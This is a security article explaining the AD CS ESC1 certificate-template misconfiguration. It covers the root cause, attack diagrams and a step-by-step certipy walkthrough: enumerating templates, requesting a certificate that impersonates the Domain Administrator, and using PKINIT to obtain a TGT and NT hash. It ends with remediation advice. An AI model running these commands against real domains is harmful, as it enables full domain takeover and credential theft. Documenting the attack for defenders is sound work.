AD CS ESC1: Weaponizing Subject Alternative Name for Domain Admin

Article Hero

Overview & Threat Landscape#

Active Directory Certificate Services (AD CS) provides the Public Key Infrastructure (PKI) backbone for Windows enterprise environments, handling smart card authentication, code signing, machine identity issuance, and S/MIME encryption. Because AD CS operates as a core cryptographic authority tightly integrated with LDAP and Kerberos, misconfigurations within certificate templates represent one of the most direct and reliable attack vectors for complete domain escalation.

Identified by SpecterOps in their seminal research as ESC1, this vulnerability occurs when an enterprise Certificate Authority (CA) publishes a certificate template that grants low-privileged users enrollment rights while permitting the enrollee to specify an arbitrary Subject Alternative Name (SAN). Because Kerberos Public Key Cryptography for Initial Authentication (PKINIT, RFC 4556) maps certificate identities directly through the SAN User Principal Name (UPN), an attacker possessing basic domain user credentials can request a certificate on behalf of a Domain Admin, exchange it for a Kerberos Ticket Granting Ticket (TGT), and achieve full domain dominance.

[!WARNING] AD CS certificate enrollment bypasses traditional password change controls and multi-factor authentication policies. A forged certificate issued by a trusted Enterprise CA remains valid until revocation or expiration, providing adversaries with persistent, stealthy administrative access that leaves minimal anomalous event logs on Domain Controllers.


Vulnerability & Attack Root-Cause Analysis#

The vulnerability is rooted in the intersection of three specific Active Directory Certificate Template configuration properties:

  1. Client Authentication Extended Key Usage (EKU): The template must declare an EKU that permits Kerberos authentication (e.g., Client Authentication OID 1.3.6.1.5.5.7.3.2, Smart Card Logon OID 1.3.6.1.4.1.311.20.2.2, or Any Purpose OID 2.5.29.37.0).
  2. Enrollee Supplies Subject Flag: The msPKI-Certificate-Name-Flag attribute contains the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT bitmask (0x00000001). This explicitly instructs the CA to extract identity attributes (specifically the SAN UPN) directly from the client's Certificate Signing Request (CSR) rather than populating them from the authenticated caller's Active Directory object.
  3. Overly Permissive Enrollment Permissions: The template's Discretionary Access Control List (DACL) grants Enroll rights to broad identity groups, such as Authenticated UsersorDomain Users.
  4. No Manager Approval Gate: The template does not require CA administrator approval (CT_FLAG_PEND_ALL_REQUESTS is unset) and requires zero authorized signatures.
sequenceDiagram
    autonumber
    participant Attacker as Unprivileged Domain User (corp\lowpriv)
    participant CA as Enterprise CA (AD CS Server)
    participant KDC as Domain Controller (Kerberos KDC)
    participant Target as Domain Resources (Crown Jewels)

    Attacker->>Attacker: Generate private key and CSR with SAN=Administrator@corp.local
    Attacker->>CA: Submit certificate request against ESC1 vulnerable template
    Note over Attacker,CA: Request authenticated via RPC/DCOM as corp\lowpriv
    CA->>CA: Verify template flags: ENROLLEE_SUPPLIES_SUBJECT is active
    CA-->>Attacker: Issue signed X.509 certificate with SAN=Administrator
    Attacker->>KDC: Initiate Kerberos PKINIT (AS-REQ signed with certificate)
    Note over Attacker,KDC: KDC resolves UPN from certificate SAN and validates CA chain
    KDC-->>Attacker: Return TGT and PAC with Domain Admin privileges (AS-REP)
    Attacker->>KDC: Request Service Ticket for CIFS/LDAP (TGS-REQ)
    KDC-->>Attacker: Issue elevated Service Ticket
    Attacker->>Target: Access Domain Controller (DCSync or administrative shell)

When the KDC receives a PKINIT AS-REQ, it verifies that the certificate chains up to an Enterprise CA listed in the NTAuthCertificates store. Upon successful cryptographic verification, the KDC inspects the SAN field:

  • If a UPN SAN (szOID_NT_PRINCIPAL_NAME) is present, the KDC resolves the account directly by matching userPrincipalName in Active Directory.
  • The KDC generates a Ticket Granting Ticket containing the Privilege Attribute Certificate (PAC) corresponding to the impersonated Administrator account, completely bypassing password verification.

Exploit Architecture & PKINIT Identity Mapping#

The diagram below maps the privilege escalation transition across AD CS and the Kerberos Key Distribution Center:

flowchart TD
    subgraph LowPrivBoundary [Initial Compromise - Domain Member]
        AttackerAccount["Compromised Account: corp\\lowpriv"]
        CertipyTool["Offensive PKI Utility (Certipy / PKINITtools)"]
    end

    subgraph ADCSBoundary [Enterprise PKI Infrastructure]
        VulnerableTemplate["Template: CustomUserAuth (ESC1)"]
        FlagCheck["msPKI-Certificate-Name-Flag: ENROLLEE_SUPPLIES_SUBJECT"]
        EnterpriseCA["Enterprise Root CA (Active Directory)"]
    end

    subgraph KerberosIdentity [Identity & Authentication Core]
        KerberosKDC["Active Directory KDC (Port 88 PKINIT)"]
        NTAuthStore["Directory NTAuthCertificates Store"]
        AdminPAC["Forged Administrator TGT + High-Priv PAC"]
    end

    AttackerAccount --> CertipyTool
    CertipyTool -->|Submit CSR specifying SAN| VulnerableTemplate
    VulnerableTemplate --> FlagCheck
    FlagCheck -->|Auto-Approve CSR| EnterpriseCA
    EnterpriseCA -->|Issue Admin X.509 Cert| CertipyTool
    CertipyTool -->|PKINIT AS-REQ with Cert| KerberosKDC
    KerberosKDC <-->|Verify CA Trust| NTAuthStore
    KerberosKDC -->|Issue Elevated TGT| AdminPAC

Attack Path Step-by-Step#

Consider a realistic penetration testing scenario where an operator has obtained an initial foothold on a domain-joined workstation with standard unprivileged domain user credentials.

Step 1: Enumerating Vulnerable Certificate Templates#

Using modern offensive tooling, the operator enumerates published certificate templates and filters for ESC1 misconfigurations:

# Enumerate AD CS infrastructure and output vulnerable templates
certipy find -u 'lowpriv' -p 'TargetPassword123!' -dc-ip 10.10.10.5 -vulnerable -stdout

The output reveals a vulnerable template:

PLAINTEXT
Template Name                       : CustomUserAuth
Permissions
  Enrollment Rights
    Domain Users                     : [Enroll]
[!] Vulnerabilities
  ESC1                              : Enrollee supplies subject and allows client authentication
    Enrollee Supplies Subject       : True
    Client Authentication           : True
    Authorized Signatures Required  : 0

Step 2: Requesting Certificate with Forged SAN#

The operator requests a certificate against the CustomUserAuth template, supplying the target identity (Administrator@corp.local) in the Subject Alternative Name:

# Request certificate impersonating Domain Administrator
certipy req -u 'lowpriv@corp.local' -p 'TargetPassword123!' \
  -ca 'CORP-CA-01' \
  -target ca.corp.local \
  -template 'CustomUserAuth' \
  -upn 'Administrator@corp.local' \
  -out administrator.pfx

Step 3: Authenticating via Kerberos PKINIT#

Using the issued PKCS#12 certificate (administrator.pfx), the operator executes a Kerberos PKINIT authentication exchange against the Domain Controller to extract the Administrator's TGT and NT hash:

# Exchange certificate for Kerberos TGT and extract NT password hash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5

The utility completes the PKINIT exchange and recovers the credentials:

PLAINTEXT
[*] Requesting TGT with PKINIT
[*] Saving TGT to 'administrator.ccache'
[*] Got TGT for 'Administrator@corp.local'
[*] Retrieving NT hash for 'Administrator'
[*] Got hash for 'Administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:8a9b3c4d5e6f708192a3b4c5d6e7f8a9

[!CAUTION] The attacker now holds the Domain Administrator's NT hash and a valid TGT. They can immediately perform a DCSync attack (secretsdump.py) to dump the entire Active Directory NTDS.dit database.


Fast Cyber Defense Morning Takeaways#

  1. Eliminate Enrollee-Supplied Subjects on Auth Templates: Certificate templates containing Client Authentication EKUs must never enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. The subject must be built automatically from Active Directory attributes.
  2. Restrict Template Enrollment DACLs: Audit all template permissions to ensure broad security principals (Domain Users, Authenticated Users, Everyone) do not hold enrollment privileges on sensitive templates.
  3. Mandate Manager Approval on Custom Templates: Implement issuance requirements such as CA Administrator approval (CT_FLAG_PEND_ALL_REQUESTS) or multi-party authorized signatures.

Tonight in EDITION 2 (Night, 8:45 PM BST), we will publish the companion blue team guide:

  • Auditing and remediating AD CS templates with PowerShell / PSPKI.
  • Deploying Event ID 4887 & 4768 Sigma Detection Rules for anomalous SAN requests and PKINIT authentications.
  • Hardening Enterprise CAs with RPC Encryption, Packet Signing, and Strong Certificate Mapping.

Authoritative Technical References#

Comments